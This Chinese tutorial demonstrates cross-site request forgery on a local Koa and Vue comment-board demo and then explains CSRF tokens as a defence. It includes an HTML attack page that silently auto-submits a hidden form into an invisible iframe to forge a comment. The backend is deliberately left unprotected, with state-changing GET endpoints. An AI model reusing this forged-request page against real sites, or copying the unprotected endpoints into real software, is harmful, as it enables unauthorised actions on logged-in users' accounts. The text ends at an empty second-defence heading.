CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种攻击方式,攻击者可以诱使用户在已登录的应用中执行非本意的操作。为了防御这种攻击,许多Web应用会使用CSRF Token来验证请求的合法性。
0.csrf 攻击原理
2. 后端服务app.js 使用nodemon插件启动服务需全局安装nodemon app.js
const Koa = require('koa');
const Router = require('koa-router');
const bodyParser = require('koa-bodyparser'); // 用于解析请求体
// const cookies = require('koa-cookies');
const app = new Koa();
const router = new Router();
// 使用中间件解析请求体
app.use(bodyParser());
var listLog = []
let username = ''
router.get('/login', (ctx, next) => {
// 获取 url
let url = ctx.url;
// 从上下文中获取get请求参数
// 获取GET请求参数
const queryParams = ctx.query;
console.log(`GET请求参数: ${JSON.stringify(queryParams)}`)
console.log(queryParams.username)
if (queryParams.username == 'admin') {
username = 'admin'
ctx.cookies.set('myCookie', queryParams.username, {
maxAge: 1000 * 60 * 60, // 1小时过期
httpOnly: true, // 仅在http请求中可用,不允许js访问
overwrite: true, // 覆盖已有的cookie
SameSite: "strict" //更严格的安全模式,cookie永远不会附带于跨站点的请求上,即使是在*导航的情况下也不会发送cookie
});
}
// next()
});
router.get('/getMsg', (ctx, next) => {
ctx.body = {
data: listLog
};
});
router.post('/setMsg', async (ctx) => {
console.log(ctx.request)
const queryParams = ctx.request.body.msg; // 获取请求体
// 处理body中的数据...
listLog.push({ msg: queryParams, username: username || '匿名用户' })
ctx.body = {
data: listLog
};
})
router.get('/setMsg', (ctx, next) => {
const queryParams = ctx.query.msg;
listLog.push({ msg: queryParams, username: username || '匿名用户' })
ctx.body = {
data: listLog
};
});
router.get('/clearmsg', (ctx, next) => {
listLog = []
ctx.body = {
data: listLog
};
});
app.use(router.routes()); // 匹配路由并调用相应的处理函数
app.use(router.allowedMethods());
app.listen(9000);
console.log('Server is running on port 9000');
3. 前端服务
<template>
<div class="hello">
<el-input
style="width: 300px"
v-model="from.username"
disabled
placeholder="请输入内容"
></el-input>
<el-button @click="login">登录</el-button>
<h1 style="float: left">
<el-button @click="clearmsg">清空评论</el-button>
</h1>
<h1>
<el-input style="width: 300px" v-model="msg" placeholder="请输入评论信息">
</el-input>
<el-button @click="setmsg">添加评论</el-button>
</h1>
<el-table :data="tableData" style="width: 100%">
<el-table-column prop="username" label="姓名" width="180">
</el-table-column>
<el-table-column prop="msg" label="评论信息"> </el-table-column>
</el-table>
</div>
</template>
<script>
export default {
name: "HelloWorld",
data() {
return {
msg: "",
from: {
username: "admin",
password: "123",
},
tableData: [],
};
},
mounted() {
this.getmsg();
},
methods: {
login() {
this.$axios
.get("/app/login", { params: { ...this.from } })
.then((res) => {
console.log(res.data.data);
});
},
getmsg() {
this.$axios.get("/app/getMsg", {}).then((res) => {
this.tableData = res.data.data;
console.log(res.data.data);
});
},
setmsg() {
/* this.$axios
.get("/app/setMsg", { params: { msg: this.msg } })
.then((res) => {
this.msg = "";
console.log(res.data.data);
this.getmsg();
}); */
this.$axios.post("/app/setMsg", { msg: this.msg }).then((res) => {
this.msg = "";
console.log(res.data.data);
this.getmsg();
});
},
clearmsg() {
this.$axios.get("/app/clearmsg", {}).then(() => {
this.getmsg();
});
},
},
};
</script>
<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
h1,
h2 {
font-weight: normal;
}
ul {
list-style-type: none;
padding: 0;
}
li {
display: inline-block;
margin: 0 10px;
}
a {
color: #42b983;
}
</style>
4. csrf跨站攻击脚本
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>csrf demo</title>
</head>
<body>
hello,这里什么也没有。
<!-- <a href="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击">点击这里有钱拿</a> -->
<!-- <img src="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击" alt="" srcset=""> -->
<script>
document.write(`
<form name="commentForm" target="csrf" method="post" action="http://localhost:8080/app/setMsg">
<input name="msg" type="hidden" value="来自CSRF攻击">
<textarea name="content">来自CSRF攻击!</textarea>
</form>`
);
var iframe = document.createElement('iframe');
iframe.name = 'csrf';
iframe.style.display = 'none';
document.body.appendChild(iframe);
setTimeout(function () {
document.querySelector('[name=commentForm]').submit();
}, 1000);
</script>
</body>
</html>
5.攻击详情部署
1:首先不登录的情况添加评论1,刷新前端页面。
2:点击登录按钮添加评论123,刷新前端页面。
3:打开csrf跨站攻击脚本页面,刷新前端页面。
6.防御csrf攻击方式
1.CSRF Token
CSRF Token(跨站请求伪造令牌)并不是指登录成功后返回的用于身份验证的token,尽管它们可能看起来相似并且都涉及到了“token”这个词,但它们有着不同的目的和机制。
登录返回的Token(Session Token 或 Access Token)
当你登录到一个网站或应用时,服务器可能会生成一个token,通常是session token或者access token,然后返回给客户端。这个token会存储在客户端(比如浏览器的cookie中),并在后续的每个请求中附带,以便服务器可以验证请求的来源。这个token的作用是证明用户已经通过了身份验证,是用户与服务器之间会话状态的一部分。
CSRF Token
CSRF Token则是为了防止跨站请求伪造攻击而设计的。在CSRF攻击中,攻击者试图诱使已登录的用户在不知情的情况下执行恶意操作,例如转账或改变账户设置。CSRF Token是一种额外的安全措施,用来确认发起请求的页面是可信任的源。
CSRF Token的机制是这样的:
- 用户登录后,服务器会生成一个随机的CSRF Token,并将其存储在服务器端,同时也会将这个Token以某种形式(如隐藏的表单字段、HTTP header或cookie)发送给客户端。
- 当客户端发起敏感请求时,必须包含这个CSRF Token。
- 服务器接收到请求后,会验证请求中的CSRF Token是否与服务器上存储的Token相匹配。如果不匹配,则拒绝请求。
因为CSRF Token是在用户登录后由服务器独立生成的,且每个会话或每个请求都可能是不同的,所以即使攻击者能够控制用户点击链接或按钮,他们也无法预测或复制正确的CSRF Token,因此无法成功伪造请求。
总之,登录返回的token主要用于身份验证和授权,而CSRF Token则专门用于保护应用程序免受跨站请求伪造攻击。两者虽然都是token,但在功能和使用场景上是不同的。
2.登录验证码或者是token